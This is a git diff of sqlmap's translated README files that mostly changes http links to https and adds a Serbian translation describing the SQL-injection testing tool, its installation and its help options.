* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur handal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
||||||
|
|
||||||
Tangkapan Layar
|
Tangkapan Layar
|
||||||
----
|
----
|
||||||
@@ -14,14 +14,13 @@ Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapprojec
|
|||||||
Instalasi
|
Instalasi
|
||||||
----
|
----
|
||||||
|
|
||||||
Anda dapat mengunduh tarball versi terbaru [di sini]
|
Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
(https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
|
||||||
|
|
||||||
Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap):
|
Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap):
|
||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun.
|
sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun.
|
||||||
|
|
||||||
Penggunaan
|
Penggunaan
|
||||||
----
|
----
|
||||||
@@ -40,12 +39,12 @@ Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung,
|
|||||||
Tautan
|
Tautan
|
||||||
----
|
----
|
||||||
|
|
||||||
* Situs: http://sqlmap.org
|
* Situs: https://sqlmap.org
|
||||||
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
|
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos)
|
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
|
||||||
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# sqlmap
|
r# sqlmap
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](htt
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](http://www.python.org/download/) su ogni piattaforma.
|
sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma.
|
||||||
|
|
||||||
Utilizzo
|
Utilizzo
|
||||||
----
|
----
|
||||||
@@ -39,12 +39,12 @@ Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità
|
|||||||
Link
|
Link
|
||||||
----
|
----
|
||||||
|
|
||||||
* Sito: http://sqlmap.org
|
* Sito: https://sqlmap.org
|
||||||
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki
|
* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Dimostrazioni: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
|
sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
|
||||||
|
|
||||||
使用法
|
使用法
|
||||||
----
|
----
|
||||||
@@ -40,12 +40,12 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
|
|||||||
リンク
|
リンク
|
||||||
----
|
----
|
||||||
|
|
||||||
* ホームページ: http://sqlmap.org
|
* ホームページ: https://sqlmap.org
|
||||||
* ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* 課題管理: https://github.com/sqlmapproject/sqlmap/issues
|
* 課題管理: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki
|
* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* デモ: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap은 [Python](http://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
|
sqlmap은 [Python](https://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
|
||||||
|
|
||||||
사용법
|
사용법
|
||||||
----
|
----
|
||||||
@@ -39,12 +39,12 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
|
|||||||
링크
|
링크
|
||||||
----
|
----
|
||||||
|
|
||||||
* 홈페이지: http://sqlmap.org
|
* 홈페이지: https://sqlmap.org
|
||||||
* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki
|
* 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* 트위터: [@sqlmap](https://twitter.com/sqlmap)
|
* 트위터: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* 시연 영상: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
do użycia sqlmap potrzebny jest [Python](http://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej.
|
do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej.
|
||||||
|
|
||||||
Sposób użycia
|
Sposób użycia
|
||||||
----
|
----
|
||||||
@@ -39,12 +39,12 @@ Aby uzyskać listę wszystkich dostępnych fukcji, parametrów i opisów ich dzi
|
|||||||
Odnośniki
|
Odnośniki
|
||||||
----
|
----
|
||||||
|
|
||||||
* Strona projektu: http://sqlmap.org
|
* Strona projektu: https://sqlmap.org
|
||||||
* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues
|
* Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki
|
* Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Dema: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Zrzuty ekranowe: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Zrzuty ekranowe: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ De preferência, você pode baixar o sqlmap clonando o repositório [Git](https:
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas.
|
sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas.
|
||||||
|
|
||||||
Como usar
|
Como usar
|
||||||
----
|
----
|
||||||
@@ -39,12 +39,12 @@ Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e
|
|||||||
Links
|
Links
|
||||||
----
|
----
|
||||||
|
|
||||||
* Homepage: http://sqlmap.org
|
* Homepage: https://sqlmap.org
|
||||||
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki
|
* Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos)
|
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
|
||||||
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
50
doc/translations/README-rs-RS.md
Normal file
50
doc/translations/README-rs-RS.md
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
# sqlmap
|
||||||
|
|
||||||
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
|
sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza.
|
||||||
|
|
||||||
|
Slike
|
||||||
|
----
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Možete posetiti [kolekciju slika](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gde su demonstrirane neke od e se demonstriraju neke od funkcija na wiki stranicama.
|
||||||
|
|
||||||
|
Instalacija
|
||||||
|
----
|
||||||
|
|
||||||
|
Možete preuzeti najnoviji tarball klikom [ovde](https://github.com/sqlmapproject/sqlmap/tarball/master) ili najnoviji zipball klikom [ovde](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
|
|
||||||
|
Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija:
|
||||||
|
|
||||||
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
|
sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
|
||||||
|
|
||||||
|
Korišćenje
|
||||||
|
----
|
||||||
|
|
||||||
|
Kako biste dobili listu osnovnih opcija i prekidača koristite:
|
||||||
|
|
||||||
|
python sqlmap.py -h
|
||||||
|
|
||||||
|
Kako biste dobili listu svih opcija i prekidača koristite:
|
||||||
|
|
||||||
|
python sqlmap.py -hh
|
||||||
|
|
||||||
|
Možete pronaći primer izvršavanja [ovde](https://asciinema.org/a/46601).
|
||||||
|
Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih funkcija, te opis svih opcija i prekidača, zajedno s primerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
|
Linkovi
|
||||||
|
----
|
||||||
|
|
||||||
|
* Početna stranica: https://sqlmap.org
|
||||||
|
* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* RSS feed promena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
|
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
@@ -20,7 +20,7 @@ sqlmap - это инструмент для тестирования уязви
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе.
|
sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе.
|
||||||
|
|
||||||
Использование
|
Использование
|
||||||
----
|
----
|
||||||
@@ -39,12 +39,12 @@ sqlmap работает из коробки с [Python](http://www.python.org/do
|
|||||||
Ссылки
|
Ссылки
|
||||||
----
|
----
|
||||||
|
|
||||||
* Основной сайт: http://sqlmap.org
|
* Основной сайт: https://sqlmap.org
|
||||||
* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
|
* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki
|
* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Демки: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -23,7 +23,7 @@ Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayar
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap [Python](http://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** and **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
|
sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** and **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
|
||||||
|
|
||||||
Kullanım
|
Kullanım
|
||||||
----
|
----
|
||||||
@@ -39,15 +39,15 @@ Bütün seçenekleri gösterir
|
|||||||
|
|
||||||
Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz
|
Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz
|
||||||
|
|
||||||
Links
|
Bağlantılar
|
||||||
----
|
----
|
||||||
|
|
||||||
* Anasayfa: http://sqlmap.org
|
* Anasayfa: https://sqlmap.org
|
||||||
* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues
|
* Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki
|
* Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demolar: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ sqlmap - це інструмент для тестування вразливо
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap «працює з коробки» з [Python](http://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі.
|
sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі.
|
||||||
|
|
||||||
Використання
|
Використання
|
||||||
----
|
----
|
||||||
@@ -39,12 +39,12 @@ sqlmap «працює з коробки» з [Python](http://www.python.org/down
|
|||||||
Посилання
|
Посилання
|
||||||
----
|
----
|
||||||
|
|
||||||
* Основний сайт: http://sqlmap.org
|
* Основний сайт: https://sqlmap.org
|
||||||
* Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues
|
* Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki
|
* Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -3,15 +3,14 @@
|
|||||||
